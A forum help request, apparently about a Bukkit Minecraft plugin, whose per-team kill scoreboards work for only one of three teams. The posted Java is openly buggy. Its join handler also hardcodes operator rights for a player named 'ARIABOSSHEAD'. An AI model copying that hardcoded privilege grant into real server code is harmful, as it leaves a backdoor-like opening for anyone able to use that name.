Solved Scoreboard only functioning for particular team.

Hey. My scoreboard is currently working perfectly fine for a particular team/objective (dKills), but doesn't function at all for any other team.

The code:

Code:java

public HashMap<OfflinePlayer, Score> mKills = new HashMap<OfflinePlayer, Score>();
public HashMap<OfflinePlayer, Score> dKills = new HashMap<OfflinePlayer, Score>();
public HashMap<OfflinePlayer, Score> iKills = new HashMap<OfflinePlayer, Score>();
 
public Objective mObj;
public Objective obj;
public Objective iObj;

Code:java

Scoreboard killsM = Bukkit.getScoreboardManager().getNewScoreboard();
Scoreboard kills = Bukkit.getScoreboardManager().getNewScoreboard();
Scoreboard killsI = Bukkit.getScoreboardManager().getNewScoreboard();

Code:java

 //Kills on scoreboard
mObj = killsM.registerNewObjective("Mianite", "dummy");
obj = kills.registerNewObjective("Dianite", "dummy");
iObj = killsI.registerNewObjective("Ianite", "dummy");
 
mObj.setDisplaySlot(DisplaySlot.SIDEBAR);
mObj.setDisplayName("Mianite");
 
obj.setDisplaySlot(DisplaySlot.SIDEBAR);
obj.setDisplayName("Dianite");
 
iObj.setDisplaySlot(DisplaySlot.SIDEBAR);
iObj.setDisplayName("Ianite");

Code:java

    @EventHandler
    public void playerKill(EntityDeathEvent event) {
        Entity killer = event.getEntity().getKiller();
        if(event.getEntity().getKiller() instanceof Player && event.getEntity() instanceof Player){
            if(plugin.isMianite.contains(killer.getUniqueId())) {
                if(plugin.mKills.containsKey(killer)){
                    plugin.mKills.get(killer).setScore(plugin.mKills.get(killer).getScore() + 1);
                }else{
                    plugin.mKills.get(killer).setScore(1);
                }
            }else if(plugin.isDianite.contains(killer.getUniqueId())) {
                if(plugin.dKills.containsKey(killer)){
                    plugin.dKills.get(killer).setScore(plugin.dKills.get(killer).getScore() + 1);
                }else{
                    plugin.dKills.get(killer).setScore(1);
                }
            }else if(plugin.isIanite.contains(killer.getUniqueId())) {
                if(plugin.iKills.containsKey(killer)){
                    plugin.iKills.get(killer).setScore(plugin.iKills.get(killer).getScore() + 1);
                }else{
                    plugin.iKills.get(killer).setScore(1);
                }
            }
        }
    }

The scoreboards don't even function whatsoever when lines 11, 13 and lines 15, 17 is in the code:

Code:java

    @SuppressWarnings("deprecation")
    @EventHandler
    public void onPlayerJoinEvent(PlayerJoinEvent event) {
        if(!event.getPlayer().hasPlayedBefore()) {
            event.getPlayer().sendMessage(ChatColor.DARK_PURPLE + "Welcome to the world of Mianite. " + ChatColor.AQUA + "\nPick your team. " + ChatColor.GREEN + "/mianite," + ChatColor.DARK_RED + " /dianite, " + ChatColor.YELLOW + "/ianite");
            plugin.cantMove.add(event.getPlayer().getUniqueId());
            event.getPlayer().setScoreboard(plugin.board);
            event.getPlayer().setScoreboard(plugin.killsM);
            event.getPlayer().setScoreboard(plugin.kills);
            event.getPlayer().setScoreboard(plugin.killsI);
            plugin.mKills.put(event.getPlayer(), plugin.mObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.dKills.put(event.getPlayer(), plugin.obj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.iKills.put(event.getPlayer(), plugin.iObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
        }
            event.getPlayer().setScoreboard(plugin.killsM);
            event.getPlayer().setScoreboard(plugin.kills);
            event.getPlayer().setScoreboard(plugin.killsI);
            plugin.mKills.put(event.getPlayer(), plugin.mObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.dKills.put(event.getPlayer(), plugin.obj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.iKills.put(event.getPlayer(), plugin.iObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
        if(event.getPlayer().getName().equalsIgnoreCase("ARIABOSSHEAD")){
            event.getPlayer().setOp(true);
        }   
    }

I have a feeling it has something to do with the player not being in the scoreboard or something, but am not too sure. Any help is much appreciated!

Cheers!